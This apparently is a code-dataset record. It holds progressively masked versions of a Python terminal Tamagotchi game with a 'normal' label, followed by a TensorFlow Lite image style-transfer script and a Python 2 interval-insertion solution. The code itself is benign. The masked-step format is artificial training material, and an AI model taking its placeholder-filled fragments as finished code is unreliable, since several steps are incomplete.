(ENERGY_PER_TICK_AWAKE if self._is_awake else\n ENERGY_PER_TICK_ASLEEP)\n self._energy_level = _add_and_clip(self._energy_level, energy_delta,\n 0, MAX_ENERGY_LEVEL)\n if self._age % TICKS_PER_POOP == 0:\n self._poop_level += 1\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass UnknownCommand(Exception):\n pass\n\n\n<mask token>\n\n\nclass Tamagotchi:\n\n def __init__(self) ->None:\n self._age = 0\n self._food_level = INITIAL_FOOD_LEVEL\n self._energy_level = INITIAL_ENERGY_LEVEL\n self._poop_level = INITIAL_POOP_LEVEL\n self._is_awake = INITIAL_IS_AWAKE\n self._commands = {'f': self._feed, 'c': self._clean, 's': self._sleep}\n\n def __repr__(self) ->str:\n return (\n f'Tamagotchi(is_awake={self._is_awake}, food_level={self._food_level}, energy_level={self._energy_level}, poop_level={self._poop_level}, age={self._age})'\n )\n\n def process_command(self, command: str) ->None:\n try:\n self._commands[command]()\n except KeyError:\n raise UnknownCommand(command)\n\n def _feed(self) ->None:\n if self._is_awake:\n self._food_level = _add_and_clip(self._food_level,\n FOOD_PER_FEED, 0, MAX_FOOD_LEVEL)\n\n def _clean(self) ->None:\n self._poop_level = 0\n\n def _sleep(self) ->None:\n self._is_awake = False\n\n def is_alive(self) ->bool:\n return self._food_level > 0 and self._poop_level < MAX_POOP_LEVEL\n\n def update(self) ->None:\n self._age += 1\n self._food_level = _add_and_clip(self._food_level, FOOD_PER_TICK, 0,\n MAX_FOOD_LEVEL)\n if self._energy_level >= MAX_ENERGY_LEVEL:\n self._is_awake = True\n if self._energy_level <= 0:\n self._is_awake = False\n energy_delta = (ENERGY_PER_TICK_AWAKE if self._is_awake else\n ENERGY_PER_TICK_ASLEEP)\n self._energy_level = _add_and_clip(self._energy_level, energy_delta,\n 0, MAX_ENERGY_LEVEL)\n if self._age % TICKS_PER_POOP == 0:\n self._poop_level += 1\n\n\ndef main():\n tamagotchi = Tamagotchi()\n with NonBlockingKeyboard() as kb:\n while True:\n inpt = kb.getstr()\n should_quit = False\n for c in inpt:\n try:\n tamagotchi.process_command(c)\n except UnknownCommand:\n if c == 'q':\n should_quit = True\n break\n else:\n raise\n if should_quit:\n break\n tamagotchi.update()\n print(tamagotchi)\n if not tamagotchi.is_alive():\n print('tamagotchi died')\n break\n time.sleep(TICK_DURATION)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass UnknownCommand(Exception):\n pass\n\n\ndef _add_and_clip(x, dx, x_min, x_max):\n return max(x_min, min(x_max, x + dx))\n\n\nclass Tamagotchi:\n\n def __init__(self) ->None:\n self._age = 0\n self._food_level = INITIAL_FOOD_LEVEL\n self._energy_level = INITIAL_ENERGY_LEVEL\n self._poop_level = INITIAL_POOP_LEVEL\n self._is_awake = INITIAL_IS_AWAKE\n self._commands = {'f': self._feed, 'c': self._clean, 's': self._sleep}\n\n def __repr__(self) ->str:\n return (\n f'Tamagotchi(is_awake={self._is_awake}, food_level={self._food_level}, energy_level={self._energy_level}, poop_level={self._poop_level}, age={self._age})'\n )\n\n def process_command(self, command: str) ->None:\n try:\n self._commands[command]()\n except KeyError:\n raise UnknownCommand(command)\n\n def _feed(self) ->None:\n if self._is_awake:\n self._food_level = _add_and_clip(self._food_level,\n FOOD_PER_FEED, 0, MAX_FOOD_LEVEL)\n\n def _clean(self) ->None:\n self._poop_level = 0\n\n def _sleep(self) ->None:\n self._is_awake = False\n\n def is_alive(self) ->bool:\n return self._food_level > 0 and self._poop_level < MAX_POOP_LEVEL\n\n def update(self) ->None:\n self._age += 1\n self._food_level = _add_and_clip(self._food_level, FOOD_PER_TICK, 0,\n MAX_FOOD_LEVEL)\n if self._energy_level >= MAX_ENERGY_LEVEL:\n self._is_awake = True\n if self._energy_level <= 0:\n self._is_awake = False\n energy_delta = (ENERGY_PER_TICK_AWAKE if self._is_awake else\n ENERGY_PER_TICK_ASLEEP)\n self._energy_level = _add_and_clip(self._energy_level, energy_delta,\n 0, MAX_ENERGY_LEVEL)\n if self._age % TICKS_PER_POOP == 0:\n self._poop_level += 1\n\n\ndef main():\n tamagotchi = Tamagotchi()\n with NonBlockingKeyboard() as kb:\n while True:\n inpt = kb.getstr()\n should_quit = False\n for c in inpt:\n try:\n tamagotchi.process_command(c)\n except UnknownCommand:\n if c == 'q':\n should_quit = True\n break\n else:\n raise\n if should_quit:\n break\n tamagotchi.update()\n print(tamagotchi)\n if not tamagotchi.is_alive():\n print('tamagotchi died')\n break\n time.sleep(TICK_DURATION)\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass UnknownCommand(Exception):\n pass\n\n\ndef _add_and_clip(x, dx, x_min, x_max):\n return max(x_min, min(x_max, x + dx))\n\n\nclass Tamagotchi:\n\n def __init__(self) ->None:\n self._age = 0\n self._food_level = INITIAL_FOOD_LEVEL\n self._energy_level = INITIAL_ENERGY_LEVEL\n self._poop_level = INITIAL_POOP_LEVEL\n self._is_awake = INITIAL_IS_AWAKE\n self._commands = {'f': self._feed, 'c': self._clean, 's': self._sleep}\n\n def __repr__(self) ->str:\n return (\n f'Tamagotchi(is_awake={self._is_awake}, food_level={self._food_level}, energy_level={self._energy_level}, poop_level={self._poop_level}, age={self._age})'\n )\n\n def process_command(self, command: str) ->None:\n try:\n self._commands[command]()\n except KeyError:\n raise UnknownCommand(command)\n\n def _feed(self) ->None:\n if self._is_awake:\n self._food_level = _add_and_clip(self._food_level,\n FOOD_PER_FEED, 0, MAX_FOOD_LEVEL)\n\n def _clean(self) ->None:\n self._poop_level = 0\n\n def _sleep(self) ->None:\n self._is_awake = False\n\n def is_alive(self) ->bool:\n return self._food_level > 0 and self._poop_level < MAX_POOP_LEVEL\n\n def update(self) ->None:\n self._age += 1\n self._food_level = _add_and_clip(self._food_level, FOOD_PER_TICK, 0,\n MAX_FOOD_LEVEL)\n if self._energy_level >= MAX_ENERGY_LEVEL:\n self._is_awake = True\n if self._energy_level <= 0:\n self._is_awake = False\n energy_delta = (ENERGY_PER_TICK_AWAKE if self._is_awake else\n ENERGY_PER_TICK_ASLEEP)\n self._energy_level = _add_and_clip(self._energy_level, energy_delta,\n 0, MAX_ENERGY_LEVEL)\n if self._age % TICKS_PER_POOP == 0:\n self._poop_level += 1\n\n\ndef main():\n tamagotchi = Tamagotchi()\n with NonBlockingKeyboard() as kb:\n while True:\n inpt = kb.getstr()\n should_quit = False\n for c in inpt:\n try:\n tamagotchi.process_command(c)\n except UnknownCommand:\n if c == 'q':\n should_quit = True\n break\n else:\n raise\n if should_quit:\n break\n tamagotchi.update()\n print(tamagotchi)\n if not tamagotchi.is_alive():\n print('tamagotchi died')\n break\n time.sleep(TICK_DURATION)\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import time\n\nfrom junk.keyboard_non_blocking import NonBlockingKeyboard\n\nTICK_DURATION = 0.05\n\nINITIAL_FOOD_LEVEL = 100\nFOOD_PER_TICK = -1\nFOOD_PER_FEED = 10\nMAX_FOOD_LEVEL = 100\n\nINITIAL_ENERGY_LEVEL = 50\nENERGY_PER_TICK_AWAKE = -1\nENERGY_PER_TICK_ASLEEP = 5\nMAX_ENERGY_LEVEL = 100\n\nINITIAL_IS_AWAKE = False\n\nINITIAL_POOP_LEVEL = 0\nTICKS_PER_POOP = 25\nMAX_POOP_LEVEL = 10\n\n\nclass UnknownCommand(Exception):\n pass\n\n\ndef _add_and_clip(x, dx, x_min, x_max):\n return max(x_min, min(x_max, x + dx))\n\n\nclass Tamagotchi:\n def __init__(self) -> None:\n self._age = 0\n self._food_level = INITIAL_FOOD_LEVEL\n self._energy_level = INITIAL_ENERGY_LEVEL\n self._poop_level = INITIAL_POOP_LEVEL\n self._is_awake = INITIAL_IS_AWAKE\n self._commands = {\n \"f\": self._feed,\n \"c\": self._clean,\n \"s\": self._sleep,\n }\n\n def __repr__(self) -> str:\n return f\"Tamagotchi(is_awake={self._is_awake}, food_level={self._food_level}, energy_level={self._energy_level}, poop_level={self._poop_level}, age={self._age})\"\n\n def process_command(self, command: str) -> None:\n try:\n self._commands[command]()\n except KeyError:\n raise UnknownCommand(command)\n\n def _feed(self) -> None:\n if self._is_awake:\n self._food_level = _add_and_clip(\n self._food_level, FOOD_PER_FEED, 0, MAX_FOOD_LEVEL\n )\n\n def _clean(self) -> None:\n self._poop_level = 0\n\n def _sleep(self) -> None:\n self._is_awake = False\n\n def is_alive(self) -> bool:\n return self._food_level > 0 and self._poop_level < MAX_POOP_LEVEL\n\n def update(self) -> None:\n self._age += 1\n # Food\n self._food_level = _add_and_clip(\n self._food_level, FOOD_PER_TICK, 0, MAX_FOOD_LEVEL\n )\n # Energy\n if self._energy_level >= MAX_ENERGY_LEVEL:\n self._is_awake = True\n if self._energy_level <= 0:\n self._is_awake = False\n energy_delta = (\n ENERGY_PER_TICK_AWAKE if self._is_awake else ENERGY_PER_TICK_ASLEEP\n )\n self._energy_level = _add_and_clip(\n self._energy_level, energy_delta, 0, MAX_ENERGY_LEVEL\n )\n # Poop\n if self._age % TICKS_PER_POOP == 0:\n self._poop_level += 1\n\n\ndef main():\n tamagotchi = Tamagotchi()\n with NonBlockingKeyboard() as kb:\n while True:\n inpt = kb.getstr()\n\n should_quit = False\n for c in inpt:\n try:\n tamagotchi.process_command(c)\n except UnknownCommand:\n if c == \"q\":\n should_quit = True\n break\n else:\n raise\n\n if should_quit:\n break\n\n tamagotchi.update()\n print(tamagotchi)\n if not tamagotchi.is_alive():\n print(\"tamagotchi died\")\n break\n time.sleep(TICK_DURATION)\n\n\nif __name__ == \"__main__\":\n main()\n", "step-ids": [ 10, 11, 12, 13, 16 ] }
[ 10, 11, 12, 13, 16 ]
# -*- coding: utf-8 -*- """overview.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/github/tensorflow/tensorflow/blob/master/tensorflow/lite/g3doc/examples/style_transfer/overview.ipynb ##### Copyright 2019 The TensorFlow Authors. """ #@title Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) import tensorflow as tf print(tf.__version__) import IPython.display as display import matplotlib.pyplot as plt import matplotlib as mpl mpl.rcParams['figure.figsize'] = (12,12) mpl.rcParams['axes.grid'] = False import numpy as np import time import functools import image_grabber import def_grabber import cv2 import random """Download the content and style images, and the pre-trained TensorFlow Lite models.""" paths = ["data/style01.jpg", "data/style02.jpg", "data/style03.jpg"] style_path = random.choice(paths) style_predict_path = tf.keras.utils.get_file('style_predict.tflite', 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/prediction/1?lite-format=tflite') style_transform_path = tf.keras.utils.get_file('style_transform.tflite', 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/transfer/1?lite-format=tflite') """## Pre-process the inputs * The content image and the style image must be RGB images with pixel values being float32 numbers between [0..1]. * The style image size must be (1, 256, 256, 3). We central crop the image and resize it. * The content image must be (1, 384, 384, 3). We central crop the image and resize it. """ # Function to load an image from a file, and add a batch dimension. def load_img(path_to_img): img = tf.io.read_file(path_to_img) img = tf.io.decode_image(img, channels=3) img = tf.image.convert_image_dtype(img, tf.float32) img = img[tf.newaxis, :] return img # Function to pre-process by resizing an central cropping it. def preprocess_image(image, target_dim): # Resize the image so that the shorter dimension becomes 256px. shape = tf.cast(tf.shape(image)[1:-1], tf.float32) short_dim = min(shape) scale = target_dim / short_dim new_shape = tf.cast(shape * scale, tf.int32) image = tf.image.resize(image, new_shape) # Central crop the image. image = tf.image.resize_with_crop_or_pad(image, target_dim, target_dim) return image """## Run style transfer with TensorFlow Lite ### Style prediction """ # Function to run style prediction on preprocessed style image. def run_style_predict(preprocessed_style_image): # Load the model. interpreter = tf.lite.Interpreter(model_path=style_predict_path) # Set model input. interpreter.allocate_tensors() input_details = interpreter.get_input_details() interpreter.set_tensor(input_details[0]["index"], preprocessed_style_image) # Calculate style bottleneck. interpreter.invoke() style_bottleneck = interpreter.tensor( interpreter.get_output_details()[0]["index"] )() return style_bottleneck """### Style transform""" # Run style transform on preprocessed style image def run_style_transform(style_bottleneck, preprocessed_content_image): # Load the model. interpreter = tf.lite.Interpreter(model_path=style_transform_path) # Set model input. input_details = interpreter.get_input_details() interpreter.allocate_tensors() # Set model inputs. interpreter.set_tensor(input_details[0]["index"], preprocessed_content_image) interpreter.set_tensor(input_details[1]["index"], style_bottleneck) interpreter.invoke() # Transform content image. stylized_image = interpreter.tensor( interpreter.get_output_details()[0]["index"] )() return stylized_image def art_grab(term): content_path = image_grabber.im_grab(term, DISP=0) # Load the input images. content_image = load_img(content_path) style_image = load_img(style_path) # Preprocess the input images. preprocessed_content_image = preprocess_image(content_image, 384) preprocessed_style_image = preprocess_image(style_image, 256) # Calculate style bottleneck for the preprocessed style image. style_bottleneck = run_style_predict(preprocessed_style_image) # Stylize the content image using the style bottleneck. stylized_image = run_style_transform(style_bottleneck, preprocessed_content_image) # Visualize the output. #imshow(stylized_image, 'Stylized Image') if len(stylized_image.shape) > 3: stylized_image = tf.squeeze(stylized_image, axis=0) stylized_image = np.array(stylized_image) return stylized_image
normal
{ "blob_id": "36ce0de4cb760632959392a9f982532436bd37b0", "index": 7272, "step-1": "<mask token>\n\n\ndef load_img(path_to_img):\n img = tf.io.read_file(path_to_img)\n img = tf.io.decode_image(img, channels=3)\n img = tf.image.convert_image_dtype(img, tf.float32)\n img = img[tf.newaxis, :]\n return img\n\n\ndef preprocess_image(image, target_dim):\n shape = tf.cast(tf.shape(image)[1:-1], tf.float32)\n short_dim = min(shape)\n scale = target_dim / short_dim\n new_shape = tf.cast(shape * scale, tf.int32)\n image = tf.image.resize(image, new_shape)\n image = tf.image.resize_with_crop_or_pad(image, target_dim, target_dim)\n return image\n\n\n<mask token>\n\n\ndef run_style_predict(preprocessed_style_image):\n interpreter = tf.lite.Interpreter(model_path=style_predict_path)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n interpreter.set_tensor(input_details[0]['index'], preprocessed_style_image)\n interpreter.invoke()\n style_bottleneck = interpreter.tensor(interpreter.get_output_details()[\n 0]['index'])()\n return style_bottleneck\n\n\n<mask token>\n\n\ndef art_grab(term):\n content_path = image_grabber.im_grab(term, DISP=0)\n content_image = load_img(content_path)\n style_image = load_img(style_path)\n preprocessed_content_image = preprocess_image(content_image, 384)\n preprocessed_style_image = preprocess_image(style_image, 256)\n style_bottleneck = run_style_predict(preprocessed_style_image)\n stylized_image = run_style_transform(style_bottleneck,\n preprocessed_content_image)\n if len(stylized_image.shape) > 3:\n stylized_image = tf.squeeze(stylized_image, axis=0)\n stylized_image = np.array(stylized_image)\n return stylized_image\n", "step-2": "<mask token>\n\n\ndef load_img(path_to_img):\n img = tf.io.read_file(path_to_img)\n img = tf.io.decode_image(img, channels=3)\n img = tf.image.convert_image_dtype(img, tf.float32)\n img = img[tf.newaxis, :]\n return img\n\n\ndef preprocess_image(image, target_dim):\n shape = tf.cast(tf.shape(image)[1:-1], tf.float32)\n short_dim = min(shape)\n scale = target_dim / short_dim\n new_shape = tf.cast(shape * scale, tf.int32)\n image = tf.image.resize(image, new_shape)\n image = tf.image.resize_with_crop_or_pad(image, target_dim, target_dim)\n return image\n\n\n<mask token>\n\n\ndef run_style_predict(preprocessed_style_image):\n interpreter = tf.lite.Interpreter(model_path=style_predict_path)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n interpreter.set_tensor(input_details[0]['index'], preprocessed_style_image)\n interpreter.invoke()\n style_bottleneck = interpreter.tensor(interpreter.get_output_details()[\n 0]['index'])()\n return style_bottleneck\n\n\n<mask token>\n\n\ndef run_style_transform(style_bottleneck, preprocessed_content_image):\n interpreter = tf.lite.Interpreter(model_path=style_transform_path)\n input_details = interpreter.get_input_details()\n interpreter.allocate_tensors()\n interpreter.set_tensor(input_details[0]['index'],\n preprocessed_content_image)\n interpreter.set_tensor(input_details[1]['index'], style_bottleneck)\n interpreter.invoke()\n stylized_image = interpreter.tensor(interpreter.get_output_details()[0]\n ['index'])()\n return stylized_image\n\n\ndef art_grab(term):\n content_path = image_grabber.im_grab(term, DISP=0)\n content_image = load_img(content_path)\n style_image = load_img(style_path)\n preprocessed_content_image = preprocess_image(content_image, 384)\n preprocessed_style_image = preprocess_image(style_image, 256)\n style_bottleneck = run_style_predict(preprocessed_style_image)\n stylized_image = run_style_transform(style_bottleneck,\n preprocessed_content_image)\n if len(stylized_image.shape) > 3:\n stylized_image = tf.squeeze(stylized_image, axis=0)\n stylized_image = np.array(stylized_image)\n return stylized_image\n", "step-3": "<mask token>\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nlogging.getLogger('tensorflow').setLevel(logging.FATAL)\n<mask token>\nprint(tf.__version__)\n<mask token>\nmpl.rcParams['figure.figsize'] = 12, 12\nmpl.rcParams['axes.grid'] = False\n<mask token>\npaths = ['data/style01.jpg', 'data/style02.jpg', 'data/style03.jpg']\nstyle_path = random.choice(paths)\nstyle_predict_path = tf.keras.utils.get_file('style_predict.tflite',\n 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/prediction/1?lite-format=tflite'\n )\nstyle_transform_path = tf.keras.utils.get_file('style_transform.tflite',\n 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/transfer/1?lite-format=tflite'\n )\n<mask token>\n\n\ndef load_img(path_to_img):\n img = tf.io.read_file(path_to_img)\n img = tf.io.decode_image(img, channels=3)\n img = tf.image.convert_image_dtype(img, tf.float32)\n img = img[tf.newaxis, :]\n return img\n\n\ndef preprocess_image(image, target_dim):\n shape = tf.cast(tf.shape(image)[1:-1], tf.float32)\n short_dim = min(shape)\n scale = target_dim / short_dim\n new_shape = tf.cast(shape * scale, tf.int32)\n image = tf.image.resize(image, new_shape)\n image = tf.image.resize_with_crop_or_pad(image, target_dim, target_dim)\n return image\n\n\n<mask token>\n\n\ndef run_style_predict(preprocessed_style_image):\n interpreter = tf.lite.Interpreter(model_path=style_predict_path)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n interpreter.set_tensor(input_details[0]['index'], preprocessed_style_image)\n interpreter.invoke()\n style_bottleneck = interpreter.tensor(interpreter.get_output_details()[\n 0]['index'])()\n return style_bottleneck\n\n\n<mask token>\n\n\ndef run_style_transform(style_bottleneck, preprocessed_content_image):\n interpreter = tf.lite.Interpreter(model_path=style_transform_path)\n input_details = interpreter.get_input_details()\n interpreter.allocate_tensors()\n interpreter.set_tensor(input_details[0]['index'],\n preprocessed_content_image)\n interpreter.set_tensor(input_details[1]['index'], style_bottleneck)\n interpreter.invoke()\n stylized_image = interpreter.tensor(interpreter.get_output_details()[0]\n ['index'])()\n return stylized_image\n\n\ndef art_grab(term):\n content_path = image_grabber.im_grab(term, DISP=0)\n content_image = load_img(content_path)\n style_image = load_img(style_path)\n preprocessed_content_image = preprocess_image(content_image, 384)\n preprocessed_style_image = preprocess_image(style_image, 256)\n style_bottleneck = run_style_predict(preprocessed_style_image)\n stylized_image = run_style_transform(style_bottleneck,\n preprocessed_content_image)\n if len(stylized_image.shape) > 3:\n stylized_image = tf.squeeze(stylized_image, axis=0)\n stylized_image = np.array(stylized_image)\n return stylized_image\n", "step-4": "<mask token>\nimport logging\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nlogging.getLogger('tensorflow').setLevel(logging.FATAL)\nimport tensorflow as tf\nprint(tf.__version__)\nimport IPython.display as display\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nmpl.rcParams['figure.figsize'] = 12, 12\nmpl.rcParams['axes.grid'] = False\nimport numpy as np\nimport time\nimport functools\nimport image_grabber\nimport def_grabber\nimport cv2\nimport random\n<mask token>\npaths = ['data/style01.jpg', 'data/style02.jpg', 'data/style03.jpg']\nstyle_path = random.choice(paths)\nstyle_predict_path = tf.keras.utils.get_file('style_predict.tflite',\n 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/prediction/1?lite-format=tflite'\n )\nstyle_transform_path = tf.keras.utils.get_file('style_transform.tflite',\n 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/transfer/1?lite-format=tflite'\n )\n<mask token>\n\n\ndef load_img(path_to_img):\n img = tf.io.read_file(path_to_img)\n img = tf.io.decode_image(img, channels=3)\n img = tf.image.convert_image_dtype(img, tf.float32)\n img = img[tf.newaxis, :]\n return img\n\n\ndef preprocess_image(image, target_dim):\n shape = tf.cast(tf.shape(image)[1:-1], tf.float32)\n short_dim = min(shape)\n scale = target_dim / short_dim\n new_shape = tf.cast(shape * scale, tf.int32)\n image = tf.image.resize(image, new_shape)\n image = tf.image.resize_with_crop_or_pad(image, target_dim, target_dim)\n return image\n\n\n<mask token>\n\n\ndef run_style_predict(preprocessed_style_image):\n interpreter = tf.lite.Interpreter(model_path=style_predict_path)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n interpreter.set_tensor(input_details[0]['index'], preprocessed_style_image)\n interpreter.invoke()\n style_bottleneck = interpreter.tensor(interpreter.get_output_details()[\n 0]['index'])()\n return style_bottleneck\n\n\n<mask token>\n\n\ndef run_style_transform(style_bottleneck, preprocessed_content_image):\n interpreter = tf.lite.Interpreter(model_path=style_transform_path)\n input_details = interpreter.get_input_details()\n interpreter.allocate_tensors()\n interpreter.set_tensor(input_details[0]['index'],\n preprocessed_content_image)\n interpreter.set_tensor(input_details[1]['index'], style_bottleneck)\n interpreter.invoke()\n stylized_image = interpreter.tensor(interpreter.get_output_details()[0]\n ['index'])()\n return stylized_image\n\n\ndef art_grab(term):\n content_path = image_grabber.im_grab(term, DISP=0)\n content_image = load_img(content_path)\n style_image = load_img(style_path)\n preprocessed_content_image = preprocess_image(content_image, 384)\n preprocessed_style_image = preprocess_image(style_image, 256)\n style_bottleneck = run_style_predict(preprocessed_style_image)\n stylized_image = run_style_transform(style_bottleneck,\n preprocessed_content_image)\n if len(stylized_image.shape) > 3:\n stylized_image = tf.squeeze(stylized_image, axis=0)\n stylized_image = np.array(stylized_image)\n return stylized_image\n", "step-5": "# -*- coding: utf-8 -*-\r\n\"\"\"overview.ipynb\r\n\r\nAutomatically generated by Colaboratory.\r\n\r\nOriginal file is located at\r\n https://colab.research.google.com/github/tensorflow/tensorflow/blob/master/tensorflow/lite/g3doc/examples/style_transfer/overview.ipynb\r\n\r\n##### Copyright 2019 The TensorFlow Authors.\r\n\"\"\"\r\n\r\n#@title Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# https://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\nimport logging\r\nimport os\r\n\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL\r\nlogging.getLogger('tensorflow').setLevel(logging.FATAL)\r\n\r\nimport tensorflow as tf\r\nprint(tf.__version__)\r\n\r\nimport IPython.display as display\r\n\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib as mpl\r\nmpl.rcParams['figure.figsize'] = (12,12)\r\nmpl.rcParams['axes.grid'] = False\r\n\r\nimport numpy as np\r\nimport time\r\nimport functools\r\n\r\nimport image_grabber\r\nimport def_grabber\r\nimport cv2\r\n\r\nimport random\r\n\r\n\r\n\"\"\"Download the content and style images, and the pre-trained TensorFlow Lite models.\"\"\"\r\npaths = [\"data/style01.jpg\", \"data/style02.jpg\", \"data/style03.jpg\"]\r\nstyle_path = random.choice(paths)\r\n\r\nstyle_predict_path = tf.keras.utils.get_file('style_predict.tflite', 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/prediction/1?lite-format=tflite')\r\nstyle_transform_path = tf.keras.utils.get_file('style_transform.tflite', 'https://tfhub.dev/google/lite-model/magenta/arbitrary-image-stylization-v1-256/int8/transfer/1?lite-format=tflite')\r\n\r\n\"\"\"## Pre-process the inputs\r\n\r\n* The content image and the style image must be RGB images with pixel values being float32 numbers between [0..1].\r\n* The style image size must be (1, 256, 256, 3). We central crop the image and resize it.\r\n* The content image must be (1, 384, 384, 3). We central crop the image and resize it.\r\n\"\"\"\r\n\r\n# Function to load an image from a file, and add a batch dimension.\r\ndef load_img(path_to_img):\r\n img = tf.io.read_file(path_to_img)\r\n img = tf.io.decode_image(img, channels=3)\r\n img = tf.image.convert_image_dtype(img, tf.float32)\r\n img = img[tf.newaxis, :]\r\n\r\n return img\r\n\r\n# Function to pre-process by resizing an central cropping it.\r\ndef preprocess_image(image, target_dim):\r\n # Resize the image so that the shorter dimension becomes 256px.\r\n shape = tf.cast(tf.shape(image)[1:-1], tf.float32)\r\n short_dim = min(shape)\r\n scale = target_dim / short_dim\r\n new_shape = tf.cast(shape * scale, tf.int32)\r\n image = tf.image.resize(image, new_shape)\r\n\r\n # Central crop the image.\r\n image = tf.image.resize_with_crop_or_pad(image, target_dim, target_dim)\r\n\r\n return image\r\n\r\n\"\"\"## Run style transfer with TensorFlow Lite\r\n\r\n### Style prediction\r\n\"\"\"\r\n# Function to run style prediction on preprocessed style image.\r\ndef run_style_predict(preprocessed_style_image):\r\n # Load the model.\r\n interpreter = tf.lite.Interpreter(model_path=style_predict_path)\r\n\r\n # Set model input.\r\n interpreter.allocate_tensors()\r\n input_details = interpreter.get_input_details()\r\n interpreter.set_tensor(input_details[0][\"index\"], preprocessed_style_image)\r\n\r\n # Calculate style bottleneck.\r\n interpreter.invoke()\r\n style_bottleneck = interpreter.tensor(\r\n interpreter.get_output_details()[0][\"index\"]\r\n )()\r\n\r\n return style_bottleneck\r\n\r\n\"\"\"### Style transform\"\"\"\r\n\r\n# Run style transform on preprocessed style image\r\ndef run_style_transform(style_bottleneck, preprocessed_content_image):\r\n # Load the model.\r\n interpreter = tf.lite.Interpreter(model_path=style_transform_path)\r\n\r\n # Set model input.\r\n input_details = interpreter.get_input_details()\r\n interpreter.allocate_tensors()\r\n\r\n # Set model inputs.\r\n interpreter.set_tensor(input_details[0][\"index\"], preprocessed_content_image)\r\n interpreter.set_tensor(input_details[1][\"index\"], style_bottleneck)\r\n interpreter.invoke()\r\n\r\n # Transform content image.\r\n stylized_image = interpreter.tensor(\r\n interpreter.get_output_details()[0][\"index\"]\r\n )()\r\n\r\n return stylized_image\r\n\r\ndef art_grab(term):\r\n content_path = image_grabber.im_grab(term, DISP=0)\r\n\r\n # Load the input images.\r\n content_image = load_img(content_path)\r\n style_image = load_img(style_path)\r\n\r\n # Preprocess the input images.\r\n preprocessed_content_image = preprocess_image(content_image, 384)\r\n preprocessed_style_image = preprocess_image(style_image, 256)\r\n\r\n # Calculate style bottleneck for the preprocessed style image.\r\n style_bottleneck = run_style_predict(preprocessed_style_image)\r\n\r\n # Stylize the content image using the style bottleneck.\r\n stylized_image = run_style_transform(style_bottleneck, preprocessed_content_image)\r\n\r\n # Visualize the output.\r\n #imshow(stylized_image, 'Stylized Image')\r\n if len(stylized_image.shape) > 3:\r\n stylized_image = tf.squeeze(stylized_image, axis=0)\r\n stylized_image = np.array(stylized_image)\r\n\r\n return stylized_image\r\n", "step-ids": [ 4, 5, 7, 8, 9 ] }
[ 4, 5, 7, 8, 9 ]
# Definition for an interval. # class Interval(object): # def __init__(self, s=0, e=0): # self.start = s # self.end = e class Solution(object): def insert(self, intervals, newInterval): """ :type intervals: List[Interval] :type newInterval: Interval :rtype: List[Interval] """ if not intervals: return [newInterval] starts, ends = [], [] for intv in intervals: starts.append(intv.start) ends.append(intv.end) left = self.search1(ends, newInterval.start) right = self.search2(starts, newInterval.end) print left, right if left > len(intervals) - 1: intervals.append(newInterval) elif right < 0: intervals.insert(0, newInterval) else: newInterval.start = min(newInterval.start, intervals[left].start) newInterval.end = max(newInterval.end, intervals[right].end) intervals = intervals[:left] + [newInterval] + intervals[right + 1:] return intervals def search1(self, nums, target): left, right = 0, len(nums) - 1 while left + 1 < right: mid = (left + right) / 2 if nums[mid] == target: return mid elif nums[mid] > target: right = mid else: left = mid if nums[right] < target: return right + 1 elif nums[left] < target: return right else: return left def search2(self, nums, target): left, right = 0, len(nums) - 1 while left + 1 < right: mid = (left + right) / 2 if nums[mid] == target: return mid elif nums[mid] > target: right = mid else: left = mid if nums[left] > target: return left - 1 elif nums[right] > target: return left else: return right
normal
